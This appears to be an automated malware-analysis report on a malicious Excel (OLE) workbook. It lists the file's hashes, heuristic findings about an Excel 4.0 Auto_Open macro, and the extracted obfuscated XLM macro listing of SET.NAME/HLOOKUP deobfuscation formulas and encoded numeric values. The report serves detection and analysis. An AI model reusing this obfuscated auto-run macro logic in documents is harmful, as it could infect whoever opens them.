Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6eef10fd21e94ddd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:28 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 4d7937322295827973b2afd0f485f64d SHA-1: 088c2dd818b93308d2072af811c07b4abcdd7759 SHA-256: 6eef10fd21e94ddd7f24c1f02aff957b1f569c8479a65a71936799bbb1f51c98
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6736 bytes
SHA-256: 6092e76512b91c11e9784aa85fb54eedc79884d728316aff8bccacd0bbe00b6f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KMSmwkL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H139 
' 0018     24 LABEL : Cell Value, String Constant - AXAbzslvx len=0 
' 0018     26 LABEL : Cell Value, String Constant - BvEnhhzwhLS len=0 
' 0018     25 LABEL : Cell Value, String Constant - CNPpDIwdmL len=0 
' 0018     20 LABEL : Cell Value, String Constant - csJIV len=0 
' 0018     27 LABEL : Cell Value, String Constant - dpoAFOdgTAWw len=0 
' 0018     22 LABEL : Cell Value, String Constant - EMYPjoe len=0 
' 0018     23 LABEL : Cell Value, String Constant - fBwiKpHQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - hpOAjC len=0 
' 0018     25 LABEL : Cell Value, String Constant - HrbMWrahVZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - IrciQlTBuG len=0 
' 0018     22 LABEL : Cell Value, String Constant - KlocMcd len=0 
' 0018     23 LABEL : Cell Value, String Constant - lgMNLlwT len=0 
' 0018     27 LABEL : Cell Value, String Constant - ngZywhffSAXE len=0 
' 0018     23 LABEL : Cell Value, String Constant - nSrPVtha len=0 
' 0018     27 LABEL : Cell Value, String Constant - oNMomDItQsmo len=0 
' 0018     24 LABEL : Cell Value, String Constant - qOtvpXOBF len=0 
' 0018     26 LABEL : Cell Value, String Constant - XwnEBbvzTEp len=0 
' 0018     23 LABEL : Cell Value, String Constant - yVngBzvG len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZaqtUw len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZEKLMzTX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KMSmwkL,H49,"SET.NAME("oNMomDItQsmo",0+VALUE("0"))",""
'  KMSmwkL,H53,"SET.NAME("CNPpDIwdmL",oNMomDItQsmo)",""
'  KMSmwkL,H58,"SET.NAME("nSrPVtha",oNMomDItQsmo)",""
'  KMSmwkL,H63,"SET.NAME("XwnEBbvzTEp",COUNTA(EMYPjoe))",""
'  KMSmwkL,H65,"SET.NAME("HrbMWrahVZ",COUNTA(qOtvpXOBF))",""
'  KMSmwkL,P65,"",-999.00000000000000000000
'  KMSmwkL,P66,"",-754.00000000000000000000
'  KMSmwkL,P67,"",-3.00000000000000000000
'  KMSmwkL,H68,[],""
'  KMSmwkL,P68,"",73.00000000000000000000
'  KMSmwkL,P69,"",292.00000000000000000000
'  KMSmwkL,P70,"",-784.00000000000000000000
'  KMSmwkL,H73,"SET.NAME("KlocMcd","")",""
'  KMSmwkL,H76,"CNPpDIwdmL",""
'  KMSmwkL,H79,"SET.NAME("fBwiKpHQ",HLOOKUP("*",EMYPjoe,CNPpDIwdmL,FALSE))",""
'  KMSmwkL,H84,"ZEKLMzTX",""
'  KMSmwkL,H86,"SET.NAME("dpoAFOdgTAWw",oNMomDItQsmo)",""
'  KMSmwkL,H90,[],""
'  KMSmwkL,H93,"dpoAFOdgTAWw",""
'  KMSmwkL,H97,"AXAbzslvx",""
'  KMSmwkL,H101,"ZaqtUw",""
'  KMSmwkL,H104,"lgMNLlwT",""
'  KMSmwkL,H107,"SET.NAME("csJIV",VALUE(HLOOKUP("*",qOtvpXOBF,lgMNLlwT,FALSE)))",""
'  KMSmwkL,H109,"yVngBzvG",""
'  KMSmwkL,H112,"KlocMcd",""
'  KMSmwkL,H115,"nSrPVtha",""
'  KMSmwkL,H117,NEXT(),""
'  KMSmwkL,H121,"IrciQlTBuG",""
'  KMSmwkL,H123,[],""
'  KMSmwkL,H128,"ngZywhffSAXE",""
'  KMSmwkL,H132,NEXT(),""
'  KMSmwkL,H134,RETURN(),""
'  KMSmwkL,H166,"SET.NAME("BvEnhhzwhLS",H49)",""
'  KMSmwkL,H171,"EMYPjoe",""
'  KMSmwkL,H176,"SET.NAME("qOtvpXOBF",R40C12)",""
'  KMSmwkL,H180,"SET.NAME("ngZywhffSAXE",185)",""
'  KMSmwkL,H182,"SET.NAME("hpOAjC",8)",""
'  KMSmwkL,H184,BvEnhhzwhLS(),""
'  KMSmwkL,H185,HALT(),""

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